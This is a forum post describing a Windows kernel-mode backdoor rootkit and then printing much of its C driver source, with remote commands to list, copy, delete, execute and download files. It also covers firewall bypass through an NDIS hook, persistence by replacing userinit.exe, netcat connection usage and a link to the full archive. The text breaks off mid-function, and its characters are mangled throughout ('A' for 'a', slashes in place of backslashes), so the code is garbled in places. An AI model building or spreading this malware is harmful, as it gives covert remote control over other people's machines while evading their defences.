some ideAs About steAlth for rootkit

some ideAs About steAlth for rootkit
By: uty

 

hi,i mAde A bAckdoor this dAys,just for leArning the skills.so some of the code you mAy fAmiliAr :> my english is poor,just reAd the source
this bAck door run in ring0 Atfer it gets stArted.And bypAss the personAl firewAll.
first of All,i think hide process is A bAd ideA,mAny methods cAn find them out.Then i see IO work items is just whAt i need.so without creAte A process or threAd,we hAve someting running in the kernel.

when one commAnd received,the IO work item get running,in A IO work item work function cAll IoQueueWorkItem.it's working but i didn't hAve time to find out whAt's going on in IoQueueWorkItem.

InsteAd of A cmd shell,there Are A few commAnds,like cd dir copy del .... this commAnd Also works in ring0,by using nAtive APIs exported by ntoskrnl.exe,you cAn Add Any commAnds you wAnt,we Are in ring0,we cAn do everything,right?

Second,nowAdAys xp sp2 And personAl firewAll Are widely used.So bypAss the firewAll becAmes A big deAl.I use ndis hook to get the pAcket. MAke two queues,one for received pAckets,one for the pAckets to be send out, reimplement A simple TCP connection.so the client i chose netcAt. if mAke A clinet by ourself,it will be more usefull And simple.

Third,how to stArt it. write registry is eAsy to be found,including hook reg functions,hide service item. in my heAd,i wAnt to infect the kernel, thAt's right, ntoskrnl.exe.like let my rootkit be one pArt of the kernel. i'm still working on it : ( . i find Another wAy to insteAd .not A very good one. it replAce the userinit.exe,when the system stArt, we first stArt the rootkit by loAd A sys file,then runing the reAl userinit.exe.



useAge:"uay.exe -i port" or "uay.exe -i" to instAll,"uay.exe -u" to uninstAll, "nc.exe ip port" to connection to it.

here follows the ring0 pArt,the whole thing cAn be downloAded At http://uty.512j.com/uay_source.rar ,which include the fAke userinit.exe

Admin note: as always, please keep in mind that precompiled executables may not be safe and that compiling the raw source may be a better approach.



_____SOURCES_____
TARGETNAME=ubd_sys
TARGETPATH=obj
TARGETTYPE=DRIVER

C_DEFINES=$(C_DEFINES) -DNDIS_MINIPORT_DRIVER -DNDIS_WDM=1

C_DEFINES=$(C_DEFINES) -DNDIS51_MINIPORT=1
C_DEFINES=$(C_DEFINES) -DNDIS51=1

TARGETLIBS=$(DDK_LIB_PATH)ndis.lib

MSC_WARING_LEVEL=/W3

SOURCES=NdisHook.c
  dummyprotocolfunc.c
  ubd_sys.c  
  commAnd.c
  utils.c  
  exec.c   
  wget.c   


_____mAkefile_____
#
# DO NOT EDIT THIS FILE!!!  Edit ./sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the components of Windows NT
#
!INCLUDE $(NTMAKEENV)makefile.def



_____commAnd.c_____
///
// uty@uaty
///
#include <ntddk.h>
#include "structs.h"
#include "commAnd.h"
#include "utils.h"


NTSTATUS
uSend(
   PTCPS_Connection  pConnection,
   char     *pSendBuffer,
   ULONG     ulSendBufferSize
   );
/*
typedef struct FILE_BASIC_INFORMATION {
  LARGE_INTEGER  CreationTime;
  LARGE_INTEGER  LastAccessTime;
  LARGE_INTEGER  LastWriteTime;
  LARGE_INTEGER  ChangeTime;
  ULONG  FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;

typedef struct _FILE_DISPOSITION_INFORMATION {
  BOOLEAN  DeleteFile;
} FILE_DISPOSITION_INFORMATION;
*/

#define  SENDBUFLENGTH  1024
#define  MAXPATHLENGTH_W  511*2
#define  MAXPATHLENGTH_A  511
#define  MAXARGLENGTH_W  255*2
#define  MAXARGLENGTH_A  255

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);

NTSYSAPI
NTSTATUS
NTAPI
ZwDeleteFile(
IN POBJECT_ATTRIBUTES ObjectAttributes
);

NTSYSAPI
NTSTATUS
NTAPI
ZwSetInformationFile(
    IN HANDLE  FileHandle,
    OUT PIO_STATUS_BLOCK  IoStatusBlock,
    IN PVOID  FileInformation,
    IN ULONG  Length,
    IN FILE_INFORMATION_CLASS  FileInformationClass
    );

NTSYSAPI
NTSTATUS
NTAPI
ZwWriteFile(
IN HANDLE  FileHandle,
IN HANDLE  Event  OPTIONAL,
IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,
IN PVOID  ApcContext  OPTIONAL,
OUT PIO_STATUS_BLOCK  IoStatusBlock,
IN PVOID  Buffer,
IN ULONG  Length,
IN PLARGE_INTEGER  ByteOffset  OPTIONAL,
IN PULONG  Key  OPTIONAL
);

NTSYSAPI
NTSTATUS
NTAPI
ZwReadFile(
IN HANDLE  FileHandle,
IN HANDLE  Event  OPTIONAL,
IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,
IN PVOID  ApcContext  OPTIONAL,
OUT PIO_STATUS_BLOCK  IoStatusBlock,
OUT PVOID  Buffer,
IN ULONG  Length,
IN PLARGE_INTEGER  ByteOffset  OPTIONAL,
IN PULONG  Key  OPTIONAL
);

BOOLEAN
KWget(
PCHAR szURL,
PCHAR szFileNAme
);

BOOLEAN
KExec(
PCHAR CmdLine
);
//--------------------------------------------------------------------

//ReferenceCommAnd 不负责释放pRecvList占用的空间
NTSTATUS
ReferenceCommAnd(PRECVLIST pRecvList)
{
CHAR* usAge = "It think the most vAlueAble commAnds Are:/n"
     " dir /n"
     " cd /n"
     " exec /n"
     " wget /n"
     " copy /n"
     " del /n"
     " pwd /n"
     " chAngedriver /n"
     "  /n";
ULONG Argc;
CHAR* Argv[9];///9 Arguments is enough
WCHAR *tempforpAth;//equAl to TCPSConnection->m_PAth;
CHAR *AnsiTemp;//finAlly send to client
ULONG i;

tempforpAth  = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
AnsiTemp  = ExAllocatePool(PagedPool,SENDBUFLENGTH);

RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));
DbgPrint("commAndline: %s/n",pRecvList->dAtA);//debug
pRecvList->dAtA[strlen(pRecvList->dAtA)-1] = '/0';//remote the lAst /n

GetArg(pRecvList->dAtA,&Argc,Argv,9);
DbgPrint("Argc: %d/n",Argc);//debug

for(i = 0;i<Argc;i++){
  DbgPrint("%s/n",Argv[i]);
}

if(0 == _stricmp(Argv[0],"help")){
  uSend(
   pRecvList->pConnection,
   usAge,
   strlen(usAge)
   );
}
else if(0 == _stricmp(Argv[0],"dir")){
  //参数检查
  if(wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth) < MAXPATHLENGTH_W){
   wcscat(tempforpAth,pRecvList->pConnection->m_PAth);// /??/m_PAth
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_ReferenceCommAnd;
  }
  CommAnd_Dir(pRecvList,tempforpAth);
}
else if(0 == _stricmp(Argv[0],"cd")){
  CommAnd_Cd(pRecvList,Argc,Argv);  
}
else if(0 == _stricmp(Argv[0],"exec")){
  CommAnd_Exec(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"wget")){
  CommAnd_Wget(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"copy")){
  CommAnd_Copy(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"del")){
  CommAnd_Del(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"pwd")){
  //m_PAth cAnnot big then 512
  wtoA((WCHAR*)pRecvList->pConnection->m_PAth,(CHAR*)AnsiTemp);
  strcat(AnsiTemp,"/n");Avoid this situAtion c:u>
  uSend(
   pRecvList->pConnection,
   AnsiTemp,
   strlen(AnsiTemp)
   );
}
else if(0 == _stricmp(Argv[0],"chAngeDriver")){
  CommAnd_ChAngeDriver(pRecvList,Argc,Argv);
}
else if(0 == strcmp(Argv[0],"")){///for the press of enter ,but we remoted it
  //do nothing
}
else{
  uSend(
   pRecvList->pConnection,
   "unreferenced commAnd :>/n",
   strlen("unreferenced commAnd :>/n")
   );
}

end_ReferenceCommAnd:

ExFreePool(tempforpAth);
ExFreePool(AnsiTemp);

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Dir(PRECVLIST pRecvList,WCHAR* pAth)
{
HANDLE       hFileHAndle;
OBJECT_ATTRIBUTES    oA;
IO_STATUS_BLOCK     IoStAtusBlock;
#define  INFORBUFFERLENGTH 1024
CHAR       *InforBuffer;
#define  TEMPBUFFERLENGTHBYTES 1020 //4 bytes for '/n'
WCHAR       *temp;
PFILE_DIRECTORY_INFORMATION  pInfor;
UNICODE_STRING     nAme;
NTSTATUS      dwStAtus;
CHAR       *SendBuffer;

SendBuffer  = ExAllocatePool(PagedPool,SENDBUFLENGTH);
InforBuffer  = ExAllocatePool(PagedPool,INFORBUFFERLENGTH);
temp   = ExAllocatePool(PagedPool,TEMPBUFFERLENGTHBYTES);

RtlInitUnicodeString(&nAme,pAth);
InitializeObjectAttributes(
  &oA,
  &nAme,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL
  );

dwStAtus = ZwOpenFile(
     &hFileHAndle,
     GENERIC_READ,
     &oA,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_DIRECTORY_FILE
     );
DbgPrint("dwStAtus: 0x%x/n IoStAtusBlock.StAtus: 0x%x/n",dwStAtus,IoStAtusBlock.Status);
if(dwStAtus == STATUS_PENDING && IoStAtusBlock.Status != STATUS_SUCCESS){///需要改进
  uSend(
   pRecvList->pConnection,
   "error/n",
   strlen("error/n")
   );
}

do{
  RtlZeroMemory(InforBuffer,INFORBUFFERLENGTH);
  dwStAtus = ZwQueryDirectoryFile(
   hFileHAndle,
   NULL,
   NULL,
   NULL,
   &IoStAtusBlock,
   InforBuffer,
   INFORBUFFERLENGTH,
   FileDirectoryInformation,
   FALSE,
   NULL,
   FALSE
   );
  if (IoStAtusBlock.Status != STATUS_SUCCESS){//bug
   uSend(
    pRecvList->pConnection,
    "bAd directory/n",
    strlen("bAd directory/n")
    );
   goto end_CommAnd_Dir;
  }

  pInfor = (PFILE_DIRECTORY_INFORMATION)InforBuffer;

  RtlZeroMemory(temp,TEMPBUFFERLENGTHBYTES);
  RtlCopyMemory(temp,(char*)pInfor->FileName,pInfor->FileNameLength < TEMPBUFFERLENGTHBYTES ?pInfor->FileNameLength:TEMPBUFFERLENGTHBYTES);
  if(pInfor->FileAttributes & FILE_ATTRIBUTE_DIRECTORY){
   /给文件夹加标志
   if(wcslen(temp) + wcslen(L"/t/t<DIR>") < MAXPATHLENGTH_W){
    wcscat(temp,L"/t/t<DIR>");
   }else{
    uSend(
     pRecvList->pConnection,
     "hAy! file nAme is too long,do you wAnnA A overflow?/n",
     strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
     );
    goto end_CommAnd_Dir;
   }
   
  }else{
   //do nothing
  }
  RtlZeroMemory(SendBuffer,SENDBUFLENGTH);
  wtoA(temp,SendBuffer);
  strcat(SendBuffer,"/n");
  uSend(
   pRecvList->pConnection,
   SendBuffer,
   strlen(SendBuffer)
   );
  //RtlZeroMemory(SendBuffer,1024);//不能在这里清
  do{
   pInfor = (PFILE_DIRECTORY_INFORMATION)((PCHAR)pInfor + pInfor->NextEntryOffset);
   RtlZeroMemory(temp,TEMPBUFFERLENGTHBYTES);
   RtlCopyMemory(temp,(char*)pInfor->FileName,pInfor->FileNameLength < TEMPBUFFERLENGTHBYTES ?pInfor->FileNameLength:TEMPBUFFERLENGTHBYTES);
   if(pInfor->FileAttributes & FILE_ATTRIBUTE_DIRECTORY){
    wcscat(temp,L"/t/t<DIR>");
   }else{
    //do nothing
   }
   RtlZeroMemory(SendBuffer,SENDBUFLENGTH);
   //don't worry the length here
   wtoA(temp,SendBuffer);
   strcat(SendBuffer,"/n");
   uSend(
    pRecvList->pConnection,
    SendBuffer,
    strlen(SendBuffer)/
    );
   //RtlZeroMemory(SendBuffer,1024);//不能在这里清
  }while(pInfor->NextEntryOffset != 0);
}while(IoStAtusBlock.Status != STATUS_NO_MORE_FILES);

ZwClose(hFileHAndle);

end_CommAnd_Dir:
ExFreePool(SendBuffer);
ExFreePool(InforBuffer);
ExFreePool(temp);
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Cd(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE     hFileHAndle;
OBJECT_ATTRIBUTES  oA;
UNICODE_STRING   nAme;
NTSTATUS    dwStAtus;
IO_STATUS_BLOCK   IoStAtusBlock;

WCHAR *tempforpAth;
WCHAR *tempforArg;//convert Argv[1] to WCHAR
ULONG i;

tempforpAth = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg = ExAllocatePool(PagedPool,MAXARGLENGTH_W);

if(Argc < 2){
  //do nothing
  goto end_CommAnd_Cd;
}
if(Argc > 2){
  uSend(
   pRecvList->pConnection,
   "too mAny Arguments/n",
   strlen("too mAny Arguments/n")
   );
  goto end_CommAnd_Cd;
}
if(0 == strcmp(Argv[1],"..")){ //cd ..
  for (i = wcslen(pRecvList->pConnection->m_PAth);i > 0;i--){
   if(pRecvList->pConnection->m_PAth[i] == L'//'){//Add L, whAtever
    pRecvList->pConnection->m_PAth[i] = L'/0';
    if(wcslen(pRecvList->pConnection->m_PAth) == 2){//x:
     wcscat(pRecvList->pConnection->m_PAth,L"//");
    }
   }
  }
  return STATUS_SUCCESS;
}
if(0 == strcmp(Argv[1],"//")){ //cd /
  pRecvList->pConnection->m_PAth[3] = L'/0';
  goto end_CommAnd_Cd;
}

RtlZeroMemory(tempforArg,MAXARGLENGTH_W);
if(strlen(Argv[1]) < MAXARGLENGTH_A){
  Atow(Argv[1],tempforArg);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Cd;
}
//sprintf(tempforpAth,L"//??//%S//%S",pRecvList->pConnection->m_PAth,tempforArg);
RtlZeroMemory(tempforpAth,MAXPATHLENGTH_W);
RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));//not wcslen
if ((wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth))*2 < MAXPATHLENGTH_W ){
  wcscat(tempforpAth,pRecvList->pConnection->m_PAth);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Cd;
}
//wcscat(tempforpAth,L"//");// / 另加
if((wcslen(tempforpAth) + wcslen(tempforArg))*2 < MAXPATHLENGTH_W){
  wcscat(tempforpAth,tempforArg);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Cd;
}
DbgPrint("cd PAth: %S/n",tempforpAth);//debug


RtlInitUnicodeString(&nAme,tempforpAth);
InitializeObjectAttributes(
  &oA,
  &nAme,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL
  );
dwStAtus = ZwOpenFile(
     &hFileHAndle,
     GENERIC_READ,
     &oA,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_DIRECTORY_FILE
     );

DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug

if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){//需要改进
  uSend(
   pRecvList->pConnection,
   "direcotry does not exists/n",
   strlen("direcotry does not exists/n")
   );
}else{
  if((wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg) + 2 )*2 < MAXPATHLENGTH_W){//1 for L"//"
   wcscat(pRecvList->pConnection->m_PAth,tempforArg);
   wcscat(pRecvList->pConnection->m_PAth,L"//");
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Cd;
  }
}
ZwClose(hFileHAndle);

end_CommAnd_Cd:
ExFreePool(tempforpAth);
ExFreePool(tempforArg);

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Del(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE     hFileHAndle;
OBJECT_ATTRIBUTES  oA;
UNICODE_STRING   nAme;
IO_STATUS_BLOCK   IoStAtusBlock;
NTSTATUS    dwStAtus;

WCHAR *tempforpAth;
WCHAR *tempforArg;
ULONG i;

FILE_BASIC_INFORMATION    fileBAsicInfor= {0};
FILE_DISPOSITION_INFORMATION  fileDispositionInfor;

tempforpAth = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg = ExAllocatePool(PagedPool,MAXARGLENGTH_W);

for(i = 1;i < Argc;i++){
  RtlZeroMemory(tempforArg,MAXARGLENGTH_W);
  //check the Arg,
  if (strlen(Argv[i]) < MAXARGLENGTH_A){
   Atow(Argv[i],tempforArg);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Del;
  }
  RtlZeroMemory(tempforpAth,MAXPATHLENGTH_W);
  RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));
  //check the Arg
  if((wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth,pRecvList->pConnection->m_PAth);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Del;
  }
  if((wcslen(tempforpAth) + wcslen(tempforArg))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth,tempforArg);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Del;
  }
  DbgPrint("del file: %S/n",tempforpAth);//debug
  RtlInitUnicodeString(&nAme,tempforpAth);
  InitializeObjectAttributes(
   &oA,
   &nAme,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );
  
  dwStAtus = ZwOpenFile(
      &hFileHAndle,
      GENERIC_READ|FILE_WRITE_ATTRIBUTES|DELETE,//|GENERIC_WRITE|DELETE,
      &oA,
      &IoStAtusBlock,
      FILE_SHARE_READ|FILE_SHARE_WRITE,
      FILE_NON_DIRECTORY_FILE
      );
  DbgPrint("ZwOpenFile dwStAtus: 0x%x/n",dwStAtus);//debug
  DbgPrint("ZwOpenFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
  if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " do not exists/n",
    strlen(" do not exists/n")
    );
   continue;
  }
  fileBAsicInfor.FileAttributes = FILE_ATTRIBUTE_NORMAL;//&= ~(FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
  dwStAtus = ZwSetInformationFile(
      hFileHAndle,
      &IoStAtusBlock,
      &fileBAsicInfor,
      sizeof(FILE_BASIC_INFORMATION),
      FileBasicInformation
      );
  DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
  DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug

  fileDispositionInfor.DeleteFile = TRUE;
  dwStAtus = ZwSetInformationFile(
      hFileHAndle,
      &IoStAtusBlock,
      &fileDispositionInfor,
      sizeof(FILE_DISPOSITION_INFORMATION),
      FileDispositionInformation
      );
  DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
  DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
  if(hFileHAndle){
   ZwClose(hFileHAndle);
  }
  /*
  dwStAtus = ZwDeleteFile(
   &oA
   );
  DbgPrint("dwStAtus: 0x%x/n",dwStAtus);
  if(dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " do not exists/n",
    strlen(" do not exists/n")
    );
   continue;
  }
  else if(dwStAtus == STATUS_ACCESS_DENIED){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " : ACCESS DENIED/n",
    strlen(" : ACCESS DENIED/n")
    );
   continue;
  }
  else if(dwStAtus == STATUS_SUCCESS){
   //do noting;
   
   continue;
  }
  else if(dwStAtus == STATUS_CANNOT_DELETE){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " : CANNOT DELETE/n",
    strlen(" : CANNOT DELETE/n")
    );
  }
  else{
   uSend(
    pRecvList->pConnection,
    "del: error/n",
    strlen("del: error/n")
    );
   continue;
  }
  */
}//for

end_CommAnd_Del:
ExFreePool(tempforpAth);
ExFreePool(tempforArg);

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Copy(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE     hFile_source,hFile_dest;
OBJECT_ATTRIBUTES  oA_source,oA_dest;
UNICODE_STRING   nAme_source,nAme_dest;
NTSTATUS    dwStAtus;
IO_STATUS_BLOCK   IoStAtusBlock;

//WCHAR  tempforpAth_source[512],tempforpAth_dest[512];
//WCHAR  tempforArg_source[256],tempforArg_dest[256];
WCHAR  *tempforpAth_source,*tempforpAth_dest;
WCHAR  *tempforArg_source,*tempforArg_dest;

//CHAR  CopyBuffer[1024];  //kernel stAck is precious
CHAR  *CopyBuffer;
ULONG  CopyLength;

CopyBuffer   = ExAllocatePool(PagedPool,1024);
tempforpAth_source = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforpAth_dest = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg_source = ExAllocatePool(PagedPool,MAXARGLENGTH_W);
tempforArg_dest  = ExAllocatePool(PagedPool,MAXARGLENGTH_W);



if (Argc > 3){
  uSend(
   pRecvList->pConnection,
   "too mAny Arguments/n",
   strlen("too mAny Arguments/n")
   );
  goto end_CommAnd_Copy;
}
if (Argc < 3){
  uSend(
   pRecvList->pConnection,
   "too few Arguments/n",
   strlen("too few Arguments/n")
   );
  goto end_CommAnd_Copy;
}

RtlZeroMemory(tempforArg_source,MAXARGLENGTH_W);
RtlZeroMemory(tempforArg_dest,MAXARGLENGTH_W);
DbgPrint("strlen(Argv[1]):%d/n",strlen(Argv[1]));//debug
DbgPrint("strlen(Argv[2]):%d/n",strlen(Argv[2]));
if(strlen(Argv[1]) < MAXARGLENGTH_A && strlen(Argv[2]) < MAXARGLENGTH_A){
  Atow(Argv[1],tempforArg_source);
  Atow(Argv[2],tempforArg_dest);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Copy;
}

RtlZeroMemory(tempforpAth_source,MAXPATHLENGTH_W);
RtlZeroMemory(tempforpAth_dest,MAXPATHLENGTH_W);
RtlCopyMemory(tempforpAth_source,L"//??//",sizeof(L"//??//"));
RtlCopyMemory(tempforpAth_dest,L"//??//",sizeof(L"//??//"));

if(tempforArg_source[1] == L':' && tempforArg_source[0] != L' '){
  //绝对路径,包括盘符
  if ((wcslen(tempforpAth_source) + wcslen(tempforArg_source))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_source,tempforArg_source);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}else{
  //
  DbgPrint("(wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source) : %d/n",wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source));//debug
  
  if((wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_source,pRecvList->pConnection->m_PAth);
   wcscat(tempforpAth_source,tempforArg_source);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}
if(tempforArg_dest[1] == L':' && tempforArg_dest[0] != L' '){
  if ((wcslen(tempforpAth_dest) + wcslen(tempforArg_dest))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_dest,tempforArg_dest);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}else{
  //
  DbgPrint("wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest):%d/n",wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest));
  if((wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_dest,pRecvList->pConnection->m_PAth);
   wcscat(tempforpAth_dest,tempforArg_dest);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}
DbgPrint("copy source: %S/n",tempforpAth_source);//debug
DbgPrint("copy dest: %S/n",tempforpAth_dest);//debug
RtlInitUnicodeString(&nAme_source,tempforpAth_source);
RtlInitUnicodeString(&nAme_dest,tempforpAth_dest);
InitializeObjectAttributes(
   &oA_source,
   &nAme_source,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );
InitializeObjectAttributes(
   &oA_dest,
   &nAme_dest,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );


dwStAtus = ZwOpenFile(
     &hFile_source,
     GENERIC_READ|SYNCHRONIZE,
     &oA_source,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_SYNCHRONOUS_IO_NONALERT|FILE_NON_DIRECTORY_FILE
     );
DbgPrint("ZwOpenFile dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("ZwOpenFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){//需要改进
  uSend(
   pRecvList->pConnection,
   Argv[1],
   strlen(Argv[1])
   );
  uSend(
   pRecvList->pConnection,
   " do not exists/n",
   strlen(" do not exists/n")
   );
  //return dwStAtus;
  goto end_CommAnd_Copy;
}

dwStAtus = ZwCreateFile(
     &hFile_dest,
     GENERIC_WRITE|SYNCHRONIZE,
     &oA_dest,
     &IoStAtusBlock,
     0,
     FILE_ATTRIBUTE_NORMAL,
     0,
     FILE_CREATE,
     FILE_SYNCHRONOUS_IO_NONALERT,
     NULL,
     0
     );
DbgPrint("ZwCreAteFile dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("ZwCreAteFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug

if (dwStAtus != STATUS_SUCCESS){//需要改进
  uSend(
   pRecvList->pConnection,
   "file AlreAdy exists or bAd pAth/n",
   strlen("file AlreAdy exists or bAd pAth/n")
   );
  //return dwStAtus;
  goto end_CommAnd_Copy;
}
dwStAtus = ZwReadFile(
     hFile_source,
     NULL,
     NULL,
     NULL,
     &IoStAtusBlock,
     CopyBuffer,
     1024,
     NULL,
     NULL
     );
CopyLength = IoStAtusBlock.Information;
while(NT_SUCCESS(dwStAtus)){
  ZwWriteFile(
   hFile_dest,
   NULL,
   NULL,
   NULL,
   &IoStAtusBlock,
   CopyBuffer,
   CopyLength,
   NULL,
   NULL
   );
  dwStAtus = ZwReadFile(
      hFile_source,
      NULL,
      NULL,
      NULL,
      &IoStAtusBlock,
      CopyBuffer,
      1024,
      NULL,
      NULL
      );
  CopyLength = IoStAtusBlock.Information;
}

ZwClose(hFile_source);
ZwClose(hFile_dest);

end_CommAnd_Copy:
ExFreePool(CopyBuffer);
ExFreePool(tempforpAth_source);
ExFreePool(tempforpAth_dest);
ExFreePool(tempforArg_source);
ExFreePool(tempforArg_dest);
return dwStAtus;



return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Wget(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
BOOLEAN  result;
if(Argc != 3){
  uSend(
   pRecvList->pConnection,
   "wrong Arguments/n wget URL fullFileNAme/n",
